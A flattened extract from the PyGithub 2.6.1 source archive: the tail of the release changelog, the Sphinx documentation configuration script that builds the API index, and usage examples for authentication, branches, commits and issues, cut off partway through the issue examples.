fix protect branch tests (65360b0) * Add branch protection endpoint (737f0c3) * fix request parameters issue (ae37d44) * add content file create/update/delete api (b83ffbf) * Add travis button on README. (a83649b) * fix misspelling: https://github.com/PyGithub/PyGithub/issues/363 (a06b5ec) * Adding base parameter to get_pulls() method. (71593a8) * add support for the direction parameter in Repository.get_pulls (70bcb6d) * added creator parameter (ca9af4f) Version 1.27.0 (August 12, 2016) ----------------------------------- * this version was never released to PyPi due to a problem with the deployment Version 1.26.0 (November 5th, 2015) ----------------------------------- * Added context parameter to Status API * Changed InputGitAuthor to reflect that time is an optional parameter * Added sort option to get_pulls * Added api_preview parameter to Requester class * Return empty list instead of None for pagination with no pages * Removed URL scheme validation that broke GitHub Enterprise * Added "add_membership" call to Teams * Added support to lazily load repositories * Updated test suite to record with oauth tokens * Added support for http_proxy * Add support for filter/role options in Organization.get_members() * Changed Organization.get_members's filter parameter to _filter * Fix escaping so that labels now support whitespaces * Updated create_issue to support taking a list of strings for labels * Added support for long integers in get_repo * Fixed pagination to thread headers between requests * Added repo.get_stargazers_with_dates() Version 1.25.2 (October 7th, 2014) ---------------------------------- * `Work around `__ the GitHub API v3 returning `null`\s in some paginated responses, `erichaase `__ for the bug report Version 1.25.1 (September 28th, 2014) ------------------------------------- * `Fix `__ two-factor authentication header, thanks to `tradej `__ for the pull request `Version 1.25.0 `_ (May 4th, 2014) --------------------------------------------------------------------------------------------------------- * `Implement `__ getting repos by id, thanks to `tylertreat `__ for the pull request * `Add `__ ``Gist.owner``, thanks to `dalejung `__ for the pull request `Version 1.24.1 `_ (March 16th, 2014) --------------------------------------------------------------------------------------------------------------- * `Fix `__ urlquoting in search, thanks to `cro `__ for the pull request `Version 1.24.0 `_ (March 2nd, 2014) --------------------------------------------------------------------------------------------------------------- * `Implement `__ search, thanks to `thialfihar `__ for the pull request `Version 1.23.0 `_ (December 23th, 2013) --------------------------------------------------------------------------------------------------------------- * `Fix `__ all that is based on headers in Python 3 (pagination, conditional request, rate_limit...), huge thanks to `cwarren-mw `__ for finding the bug * `Accept `__ strings for assignees and collaborators, thanks to `farrd `__ * `Ease `__ two-factor authentication by adding 'onetime_password' to AuthenticatedUser.create_authorization, thanks to `cameronbwhite `__ `Version 1.22.0 `_ (December 15th, 2013) --------------------------------------------------------------------------------------------------------------- * `Emojis `__, thanks to `evolvelight `__ * `Repository.stargazers_count `__, thanks to `cameronbwhite `__ * `User.get_teams `__, thanks to `poulp `__ `Version 1.21.0 `__ (November ??th, 2013) ---------------------------------------------------------------------------------------------------------------- * `Accept `__ strings as well as ``Label`` objects in ``Issue.add_to_labels``, ``Issue.remove_from_labels`` and ``Issue.set_labels``. Thank you `acdha `__ for asking * `Implement `__ equality comparison for *completable* github objects (ie. those who have a ``url`` attribute). Warning, comparison is still not implemented for non-completable objects. This will be done in version 2.0 of PyGithub. Thank you `OddBloke `__ for asking * `Add `__ parameter ``author`` to ``Repository.get_commits``. Thank you `naorrosenberg `__ for asking * `Implement `__ the statistics end points. Thank you `naorrosenberg `__ for asking `Version 1.20.0 `__ (October 20th, 2013) (First Seattle edition) --------------------------------------------------------------------------------------------------------------------------------------- * `Implement `__ ``Github.get_hook(name)``. Thank you `klmitch `__ for asking * In case bad data is returned by Github API v3, `raise `__ an exception only when the user accesses the faulty attribute, not when constructing the object containing this attribute. Thank you `klmitch `__ for asking * `Fix `__ parameter public/private of ``Repository.edit``. Thank you `daireobroin449 `__ for reporting the issue * Remove ``Repository.create_download`` and ``NamedUser.create_gist`` as the corresponding APIs are not documented anymore `Version 1.19.0 `__ (September 8th, 2013) (AKFish's edition) ----------------------------------------------------------------------------------------------------------------------------------- * Implement `conditional requests `__ by the method ``GithubObject.update``. Thank you very much `akfish `__ for the pull request and your collaboration! * Implement persistence of PyGithub objects: ``Github.save`` and ``Github.load``. Don't forget to ``update`` your objects after loading them, it won't decrease your rate limiting quota if nothing has changed. Again, thank you `akfish `_ * Implement ``Github.get_repos`` to get all public repositories * Implement ``NamedUser.has_in_following`` * `Implement `__ ``Github.get_api_status``, ``Github.get_last_api_status_message`` and ``Github.get_api_status_messages``. Thank you `ruxandraburtica `__ for asking * Implement ``Github.get_rate_limit`` * Add many missing attributes * Technical change: HTTP headers are now stored in retrieved objects. This is a base for new functionalities. Thank you `akfish `__ for the pull request * Use the new URL to fork gists (minor change) * Use the new URL to test hooks (minor change) `Version 1.18.0 `__ (August 21st, 2013) (Bénodet edition) -------------------------------------------------------------------------------------------------------------------------------- * `Issues `_' ``repository`` attribute will never be ``None``. Thank you `stuglaser `__ for the pull request * No more false assumption on `rate_limiting `_, and creation of ``rate_limiting_resettime``. Thank you `edjackson `__ for the pull request * `New `__ parameters ``since`` and ``until`` to ``Repository.get_commits``. Thank you `apetresc `__ for the pull request * `Catch `__ Json parsing exception for some internal server errors, and throw a better exception. Thank you `MarkRoddy `__ for the pull request * `Allow `__ reversed iteration of ``PaginatedList``. Thank you `davidbrai `__ for the pull request `Version 1.17.0 `__ (Jully 7th, 2013) (Hamburg edition) ------------------------------------------------------------------------------------------------------------------------------ * `Fix `__ bug in ``Repository.get_comment`` when using custom ``per_page``. Thank you `davidbrai `_ * `Handle `__ Http redirects in ``Repository.get_dir_contents``. Thank you `MarkRoddy `_ * `Implement `__ API ``/user`` in ``Github.get_users``. Thank you `rakeshcusat `__ for asking * `Improve `__ the documentation. Thank you `martinqt `_ Version 1.16.0 (May 31th, 2013) (Concarneau edition) ---------------------------------------------------- * `Add `__ the html_url attribute to IssueComment and PullRequestComment `Version 1.15.0 `__ (May 17th, 2013) (Switzerland edition) --------------------------------------------------------------------------------------------------------------------------------- * `Implement `__ listing of user issues with all parameters. Thank you Daehyok Shin for reporting * `Raise `__ two new specific exceptions `Version 1.14.2 `__ (April 25th, 2013) ------------------------------------------------------------------------------------------------------------- * `Fix `__ paginated requests when using secret-key oauth. Thank you `jseabold `__ for analysing the bug `Version 1.14.1 `__ (April 25th, 2013) ------------------------------------------------------------------------------------------------------------- * Set the default User-Agent header to "PyGithub/Python". (Github has `enforced the User Agent header `__ yesterday.) Thank you `jjh42 `__ for `the fix `_, thank you `jasenmh `__ and `pconrad `__ for reporting `the issue `_. `Version 1.14.0 `__ (April 22nd, 2013) ------------------------------------------------------------------------------------------------------------- * `Improve `__ gist edition. Thank you `jasonwiener `__ for asking: * Delete a file with ``gist.edit(files={"name.txt": None})`` * Rename a file with ``gist.edit(files={"old_name.txt": github.InputFileContent(gist.files["old_name.txt"].content, new_name="new_name.txt")})`` * `Raise `__ specific exceptions. Thank you `pconrad `__ for giving me the idea Version 1.13.1 (March 28nd, 2013) --------------------------------- * `Fix `__ login/password authentication for Python 3. Thank you `sebastianstigler `__ for reporting `Version 1.13.0 `__ (March 22nd, 2013) ------------------------------------------------------------------------------------------------------------- * `Fix `__ for Python 3 on case-insensitive file-systems. Thank you `ptwobrussell `__ for reporting * `Expose `__ raw data returned by Github for all objects. Thank you `ptwobrussell `__ for asking * `Add `__ a property :attr:`github.MainClass.Github.per_page` (and a parameter to the constructor) to change the number of items requested in paginated requests. Thank you again `ptwobrussell `__ for asking * `Implement `__ the first part of the `Notifications `__ API. Thank you `pgolm `_ * `Fix `__ automated tests on Python 3.3. Thank you `bkabrda `__ for reporting Version 1.12.2 (March 3rd, 2013) -------------------------------- * `Fix `__ major issue with Python 3: Json decoding was broken. Thank you `bilderbuchi `__ for reporting Version 1.12.1 (February 20th, 2013) ------------------------------------ * Nothing, but packaging/upload of 1.12.0 failed `Version 1.12.0 `__ (February 20th, 2013) ---------------------------------------------------------------------------------------------------------------- * Much better documentation: http://jacquev6.github.com/PyGithub * `Implement `__ :meth:`github.Repository.Repository.get_dir_contents`. Thank you `ksookocheff-va `__ for asking `Version 1.11.1 `__ (February 9th, 2013) (London edition) -------------------------------------------------------------------------------------------------------------------------------- * Fix `bug `__ in lazy completion. Thank you `ianozsvald `__ for pinpointing it `Version 1.11.0 `__ (February 7th, 2013) --------------------------------------------------------------------------------------------------------------- * Fix bug in PaginatedList without url parameters. Thank you `llimllib `__ for the `contribution `_ * `Implement `__ :meth:`github.NamedUser.NamedUser.get_keys` * `Support PubSubHub `_: :meth:`github.Repository.Repository.subscribe_to_hub` and :meth:`github.Repository.Repository.unsubscribe_from_hub` * `Publish the oauth scopes `__ in :attr:`github.MainClass.Github.oauth_scopes`, thank you `bilderbuchi `__ for asking `Version 1.10.0 `__ (December 25th, 2012) (Christmas 2012 edition) ----------------------------------------------------------------------------------------------------------------------------------------- * Major improvement: support Python 3! PyGithub is automatically tested on `Travis `__ with versions 2.5, 2.6, 2.7, 3.1 and 3.2 of Python * Add a shortcut function :meth:`github.MainClass.Github.get_repo` to get a repo directly from its full name. thank you `lwc `__ for the contribution * :meth:`github.MainClass.Github.get_gitignore_templates` and :meth:`github.MainClass.Github.get_gitignore_template` for APIs ``/gitignore/templates`` * Add the optional ``ref`` parameter to :meth:`github.Repository.Repository.get_contents` and :meth:`github.Repository.Repository.get_readme`. Thank you `fixxxeruk `__ for the contribution * Get comments for all issues and all pull requests on a repository (``GET /repos/:owner/:repo/pulls/comments``: :meth:`github.Repository.Repository.get_pulls_comments` or :meth:`github.Repository.Repository.get_pulls_review_comments`; ``GET /repos/:owner/:repo/issues/comments``: :meth:`github.Repository.Repository.get_issues_comments`) `Version 1.9.1 `__ (November 20th, 2012) --------------------------------------------------------------------------------------------------------------- * Fix an assertion failure when integers returned by Github do not fit in a Python ``int`` `Version 1.9.0 `__ (November 19th, 2012) --------------------------------------------------------------------------------------------------------------- * You can now use your client_id and client_secret to increase rate limiting without authentication * You can now send a custom User-Agent * PullRequest now has its 'assignee' attribute, thank you `mstead `_ * Repository.edit now has 'default_branch' parameter * create_repo has 'auto_init' and 'gitignore_template' parameters * GistComment URL is changed (see http://developer.github.com/changes/2012-10-31-gist-comment-uris) * A typo in the readme was fixed by `tymofij `_, thank you * Internal stuff: + Add encoding comment to Python files, thank you `Zearin `_ + Restore support of Python 2.5 + Restore coverage measurement in setup.py test + Small refactoring `Version 1.8.1 `__ (October 28th, 2012) -------------------------------------------------------------------------------------------------------------- * Repository.get_git_ref prepends "refs/" to the requested references. Thank you `simon-weber `__ for noting the incoherence between documentation and behavior. If you feel like it's a breaking change, please see `this issue `_ `Version 1.8.0 `__ (September 30th, 2012) ---------------------------------------------------------------------------------------------------------------- * Enable `Travis CI `_ * Fix error 500 when json payload contains percent character (`%`). Thank you again `quixotique `__ for pointing that and reporting it to Github * Enable debug logging. Logger name is `"github"`. Simple logging can be enabled by `github.enable_console_debug_logging()`. Thank you `quixotique `__ for the merge request and the advice * Publish tests in the PyPi source archive to ease QA tests of the `FreeBSD port `_. Thank you `koobs `__ for maintaining this port * Switch to `Semantic Versioning `_ * Respect `pep8 Style Guide for Python Code `_ `Version 1.7 `__ (September 12th, 2012) -------------------------------------------------------------------------------------------------------------- * Be able to clear the assignee and the milestone of an Issue. Thank you `quixotique `__ for the merge request * Fix an AssertionFailure in `Organization.get_xxx` when using Github Enterprise. Thank you `mnsanghvi `__ for pointing that * Expose pagination to users needing it (`PaginatedList.get_page`). Thank you `kukuts `__ for asking * Improve handling of legacy search APIs * Small refactoring (documentation, removal of old code generation artifacts) `Version 1.6 `__ (September 8th, 2012) ------------------------------------------------------------------------------------------------------------- * Restore support for Python 2.5 * Implement new APIS: * /hooks (undocumented, but mentioned in http://developer.github.com/v3/repos/hooks/#create-a-hook) * `Merging `_ * `Starring `__ and `subscriptions `_ * `Assignees `_ * `Commit statuses `_ * `Contents `_, thank you `berndca `__ for asking * Clarify issue and review comments on PullRequest, thank you `nixoz2k7 `__ for asking `Version 1.5 `__ (September 5th, 2012) ------------------------------------------------------------------------------------------------------------ * Add a timeout option, thank you much `xobb1t `__ for the merge request. *This drops Python 2.5 support*. I may be able to restore it in next version. * Implement `Repository.delete`, thank you `pmchen `__ for asking `Version 1.4 `__ (August 4th, 2012) --------------------------------------------------------------------------------------------------------- * Allow connection to a custom Github URL, for Github Enterprise, thank you very much `engie `__ for the merge request `Version 1.3 `__ (July 13th, 2012) -------------------------------------------------------------------------------------------------------- * Implement `markdown rendering `_ * `GitAuthor.date` is now a datetime, thank you `bilderbuchi `_ * Fix documentation of `Github.get_gist`: `id` is a string, not an integer `Version 1.2 `__ (June 29th, 2012) -------------------------------------------------------------------------------------------------------- * Implement `legacy search APIs `_, thank you `kukuts `__ for telling me Github had released them * Fix a bug with issue labels containing spaces, thank you `philipkimmey `__ for detecting the bug and fixing it * Clarify how collections of objects are returned by `get_*` methods, thank you `bilderbuchi `__ for asking Version 1.1 (June 20th, 2012) ----------------------------- * Restore compatibility with Python 2.5, thank you `pmuilu `_ * Use `package_data` instead of `data_files` for documentation files in `setup.py`, thank you `malexw `__ for reporting `Version 1.0 `__ (June 3rd, 2012) ------------------------------------------------------------------------------------------------------- * Complete rewrite, with no more complicated meta-description * Full typing of attributes and parameters * Full documentation of attributes and parameters * More usable exceptions raised in case on problems with the API * Some bugs and limitations fixed, special thanks to `bilderbuchi `_, `roskakori `__ and `tallforasmurf `__ for reporting them! Pre-release versions ~~~~~~~~~~~~~~~~~~~~ `Version 0.7 `__ (May 26th, 2012) ------------------------------------------------------------------------------------------------------- * Use PyGithub with OAuth authentication or with no authentication at all `Version 0.6 `__ (April 17th, 2012) --------------------------------------------------------------------------------------------------------- * Fix `issue 21 `__ (KeyError when accessing repositories) * Re-completed the API with NamedUser.create_gist `Version 0.5 `__ (March 19th, 2012) --------------------------------------------------------------------------------------------------------- * Major achievement: **all APIs are implemented** * More refactoring, of course `Version 0.4 `__ (March 12th, 2012) --------------------------------------------------------------------------------------------------------- * The list of the not implemented APIs is shorter than the list of the implemented APIs * APIs *not implemented*: * GET `/gists/public` * GET `/issues` * GET `/repos/:owner/:repo/compare/:base...:head` * GET `/repos/:owner/:repo/git/trees/:sha?recursive-1` * POST `/repos/:owner/:repo/git/trees?base_tree-` * Gists * Authorizations * Keys * Hooks * Events * Merge pull requests * More refactoring, one more time Version 0.3 (February 26th, 2012) --------------------------------- * More refactoring * Issues, milestones and their labels * NamedUser: * emails * Repository: * downloads * tags, branches, commits and comments (not the same as "Git objects" of version 0.2) * pull requests (no automatic merge yet) * Automatic generation of the reference documentation of classes, with less "see API"s, and less errors Version 0.2 (February 23rd, 2012) --------------------------------- * Refactoring * Teams details and modification * basic attributes * list teams in organizations, on repositories * Git objects * create and get tags, references, commits, trees, blobs * list and edit references Version 0.1 (February 19th, 2012) --------------------------------- * User details and modification * basic attributes * followers, following, watching * organizations * repositories * Repository details and modification * basic attributes * forking * collaborators, contributors, watchers * Organization details and modification * basic attributes * members and public members ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/conf.py0000644000175100001660000003571114756101563015041 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Morgan Goose # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Liuyang Wan # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import datetime import glob import os import re import sys from typing import Iterable # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath("..")) from importlib.metadata import version # noqa: E402 setupVersion = version("pygithub") # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ["sphinx.ext.autodoc", "sphinx.ext.coverage", "sphinx.ext.mathjax"] # Add any paths that contain templates here, relative to this directory. templates_path = ["_templates"] # The suffix of source filenames. source_suffix = ".rst" # The encoding of source files. # source_encoding = 'utf-8-sig' # The master toctree document. master_doc = "index" # General information about the project. project = "PyGithub" copyright = "%d, Vincent Jacques" % datetime.date.today().year # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = setupVersion # The full version, including alpha/beta/rc tags. release = setupVersion # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: # today = '' # Else, today_fmt is used as the format for a strftime call. # today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all documents. # default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. # add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). # add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. # show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = "sphinx" # A list of ignored prefixes for module index sorting. # modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = "sphinx_rtd_theme" # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. # html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # " v documentation". # html_title = None # A shorter title for the navigation bar. Default is the same as html_title. # html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. # html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. # html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ["_static"] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. # html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. # html_use_smartypants = True # Custom sidebar templates, maps document names to template names. # html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. # html_additional_pages = {} # If false, no module index is generated. # html_domain_indices = True # If false, no index is generated. # html_use_index = True # If true, the index is split into individual pages for each letter. # html_split_index = False # If true, links to the reST sources are added to the pages. # html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. # html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. # html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. # html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). # html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = "PyGithubdoc" # -- Options for LaTeX output -------------------------------------------------- # latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # 'preamble': '', # } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ("index", "PyGithub.tex", "PyGithub Documentation", "Vincent Jacques", "manual"), ] # The name of an image file (relative to this directory) to place at the top of # the title page. # latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. # latex_use_parts = False # If true, show page references after internal links. # latex_show_pagerefs = False # If true, show URL addresses after external links. # latex_show_urls = False # Documents to append as an appendix to all manuals. # latex_appendices = [] # If false, no module index is generated. # latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [("index", "pygithub", "PyGithub Documentation", ["Vincent Jacques"], 1)] # If true, show URL addresses after external links. # man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ( "index", "PyGithub", "PyGithub Documentation", "Vincent Jacques", "PyGithub", "One line description of project.", "Miscellaneous", ), ] # Documents to append as an appendix to all manuals. # texinfo_appendices = [] # If false, no module index is generated. # texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. # texinfo_show_urls = 'footnote' autodoc_default_flags = ["members"] autodoc_member_order = "bysource" autoclass_content = "both" githubObjectTypes = { variation for object_type in ["GithubObject", "CompletableGithubObject", "NonCompletableGithubObject"] for variation in [object_type, "GithubObject." + object_type, "github.GithubObject." + object_type] } githubObjectClasses: dict[str, str] = {} def collect_classes(types: set[str]) -> Iterable[tuple[str, str]]: def get_base_classes(class_definition: str) -> Iterable[str]: if "(" in class_definition and ")" in class_definition: for base in class_definition[class_definition.index("(") + 1 : class_definition.index(")")].split(","): yield base.strip() else: return [] for filename in sorted(glob.glob("../github/*.py")): module = f"github.{filename[10:-3]}" with open(filename) as r: for line in r.readlines(): if line.startswith("class ") and any([base in types for base in get_base_classes(line)]): class_name = re.match(r"class (\w+)[:(]", line).group(1) if class_name not in types: yield class_name, f"{module}" # get all classes derived from GithubObject classes directly classes = list(collect_classes(githubObjectTypes)) while classes: githubObjectClasses.update(classes) # get all classes derived from detected classes githubObjectTypes.update( { variation for object_type in [cls for cls, _ in classes] for variation in [object_type, "GithubObject." + object_type, "github.GithubObject." + object_type] } ) classes = list(collect_classes(set(githubObjectTypes))) with open("github_objects.rst", "w") as f: f.write("Github objects\n") f.write("==============\n") f.write("\n") f.write(".. autoclass:: github.GithubObject.GithubObject()\n") f.write("\n") f.write(".. toctree::\n") for githubObjectClass in sorted(githubObjectClasses.keys()): f.write(" github_objects/" + githubObjectClass + "\n") for githubObjectClass, module in githubObjectClasses.items(): with open("github_objects/" + githubObjectClass + ".rst", "w") as f: f.write(githubObjectClass + "\n") f.write("=" * len(githubObjectClass) + "\n") f.write("\n") f.write(".. autoclass:: " + module + "." + githubObjectClass + "()\n") methods = dict() githubObjectClasses.update([("MainClass", "github.MainClass")]) githubObjectClasses.update([("GithubIntegration", "github.GithubIntegration")]) for githubObjectClass, module in githubObjectClasses.items(): with open("../" + module.replace(".", "/") + ".py") as f: method = None isProperty = False for line in f: line = line.rstrip() if line == " @property": isProperty = True if line.startswith(" def "): if not isProperty: method = line.split("(")[0][8:] if method in [ "_initAttributes", "_useAttributes", "__init__", "__create_pull_1", "__create_pull_2", "__create_pull", "_hub", "__get_FIX_REPO_GET_GIT_REF", "__set_FIX_REPO_GET_GIT_REF", "__get_per_page", "__set_per_page", "create_from_raw_data", "dump", "load", ]: method = None isProperty = False if line.startswith(" :calls: `"): for callee in line[16:].split(" or "): verb, url = callee[1:].split(" ")[0:2] if url not in methods: methods[url] = dict() if verb not in methods[url]: methods[url][verb] = set() methods[url][verb].add(":meth:`" + module + "." + githubObjectClass + "." + method + "`") method = None methods["/markdown/raw"] = dict() methods["/markdown/raw"]["POST"] = ["Not implemented, see ``/markdown``"] methods["/rate_limit"] = dict() methods["/rate_limit"]["GET"] = ["Not implemented, see `Github.rate_limiting`"] with open("apis.rst", "w") as apis: apis.write("APIs\n") apis.write("====\n") apis.write("\n") for url, verbs in sorted(methods.items()): apis.write("* ``" + url + "``\n") apis.write("\n") for verb in ["GET", "PATCH", "POST", "PUT", "DELETE"]: if verb in verbs: apis.write(" * " + verb + ": " + " or ".join(sorted(verbs[verb])) + "\n") apis.write("\n") ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1740145533.5912402 pygithub-2.6.1/doc/examples/0000755000175100001660000000000014756101576015355 5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Authentication.rst0000644000175100001660000001062014756101563021061 0ustar00runnerdockerAuthentication ============== Github supports various authentication methods. Depending on the entity that authenticates and the Github API endpoint being called, only a subset of methods is available. All authentication methods require this import: .. code-block:: python >>> from github import Auth >>> from github import Github >>> from github import GithubIntegration Login authentication -------------------- Users can authenticate by a login and password: .. code-block:: python >>> auth = Auth.Login("user_login", "password") >>> g = Github(auth=auth) >>> g.get_user().login 'user_login' OAuth token authentication -------------------------- Users can authenticate by a token: .. code-block:: python >>> auth = Auth.Token("access_token") >>> g = Github(auth=auth) >>> g.get_user().login 'login' Netrc authentication -------------------- Write your credentials into a ``.netrc`` file: .. code-block:: netrc machine api.github.com login token password You might need to create the environment variable ``NETRC`` with the path to this file. Then, use a ``github.Auth.NetrcAuth`` instance to access these information: .. code-block:: python >>> auth = Auth.NetrcAuth() >>> g = Github(auth=auth) >>> g.get_user().login 'login' App authentication ------------------ A Github Apps authenticate by an application id and a private key. Note that there is only a limited set of endpoints that can be called when authenticated as a Github App. Instead of using ``github.Github``, entry point ``github.GithubIntegration`` should be used when authenticated as a Github App: .. code-block:: python >>> auth = Auth.AppAuth(123456, private_key) >>> gi = GithubIntegration(auth=auth) >>> for installation in gi.get_installations(): ... installation.id '1234567' Get a ``github.Github`` instance authenticated as an App installation: .. code-block:: python >>> installation = gi.get_installations()[0] >>> g = installation.get_github_for_installation() >>> g.get_repo("user/repo").name 'repo' App installation authentication ------------------------------- A specific installation of a Github App can use the Github API like a normal user. It authenticates by the Github App authentication (see above) and the installation id. The ``AppInstallationAuth`` fetches an access token for the installation and handles its expiration timeout. The access token is refreshed automatically. .. code-block:: python >>> auth = Auth.AppAuth(123456, private_key).get_installation_auth(installation_id, token_permissions) >>> g = Github(auth=auth) >>> g.get_repo("user/repo").name 'repo' Alternatively, the `github.Github` instance can be retrieved via `github.GithubIntegration`: .. code-block:: python >>> auth = Auth.AppAuth(123456, private_key) >>> gi = GithubIntegration(auth=auth) >>> g = gi.get_github_for_installation(installation_id, token_permissions) >>> g.get_repo("user/repo").name 'repo' App user authentication ----------------------- A Github App can authenticate on behalf of a user. For this, the user has to `generate a user access token for a Github App `__. This process completes with a one-time ``code``. Together with the ``client_id`` and ``client_secret`` of the app, a Github App user token can be generated once: .. code-block:: python >>> g = Github() >>> app = g.get_oauth_application(client_id, client_secret) >>> token = app.get_access_token(code) Memorize the ``token.refresh_token``, as only this can be used to create new tokens for this user. The ``token.token`` expires 8 hours, and the ``token.refresh_token`` expires 6 months after creation. A token can be refreshed as follows. This invalidates the old token and old refresh token, and creates a new set of token and refresh tokens: .. code-block:: python >>> g = Github() >>> app = g.get_oauth_application(client_id, client_secret) >>> token = app.refresh_access_token(refresh_token) You can authenticate with Github using this token: .. code-block:: python >>> auth = app.get_app_user_auth(token) >>> g = Github(auth=auth) >>> g.get_user().login 'user_login' The ``auth`` instance will refresh the token automatically when ``auth.token`` is accessed. ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Branch.rst0000644000175100001660000000246114756101563017303 0ustar00runnerdockerBranch ========== Get list of branches -------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> list(repo.get_branches()) [Branch(name="master")] Note that the Branch object returned by get_branches() is not fully populated, and you can not query everything. Use get_branch(branch="master") once you have the branch name. Get a branch ------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.get_branch(branch="master") Branch(name="master") Get HEAD commit of a branch --------------------------- .. code-block:: python >>> branch = g.get_repo("PyGithub/PyGithub").get_branch("master") >>> branch.commit Commit(sha="5e69ff00a3be0a76b13356c6ff42af79ff469ef3") Get protection status of a branch --------------------------------- .. code-block:: python >>> branch = g.get_repo("PyGithub/PyGithub").get_branch("master") >>> branch.protected True See required status checks of a branch -------------------------------------- .. code-block:: python >>> branch = g.get_repo("PyGithub/PyGithub").get_branch("master") >>> branch.get_required_status_checks() RequiredStatusChecks(url="https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection/required_status_checks", strict=True) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Commit.rst0000644000175100001660000000124014756101563017330 0ustar00runnerdockerCommit ====== Create commit status check -------------------------- .. code-block:: python # sha -> commit on which the status check will be created # For example, for a webhook payload # sha = data["pull_request"]["head"]["sha"] repo.get_commit(sha=sha).create_status( state="pending", target_url="https://FooCI.com", description="FooCI is building", context="ci/FooCI" ) Get commit date -------------------------- .. code-block:: python >>> commit = repo.get_commit(sha=sha) >>> print(commit.commit.author.date) 2018-10-11 03:04:52 >>> print(commit.commit.committer.date) 2018-10-11 03:04:52 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/doc/examples/Issue.rst0000644000175100001660000000372414756101563017201 0ustar00runnerdockerIssues ====== Get issue --------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.get_issue(number=874) Issue(title="PyGithub example usage", number=874) Create comment on issue ----------------------- .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> issue = repo.get_issue(number=874) >>> issue.create_comment("Test") IssueComment(user=NamedUser(login="user"), id=36763078) Create issue ------------ .. code-block:: python >>> repo = g.get_repo("PyGithub/PyGithub") >>> repo.create_issue(title="This is a new issue") 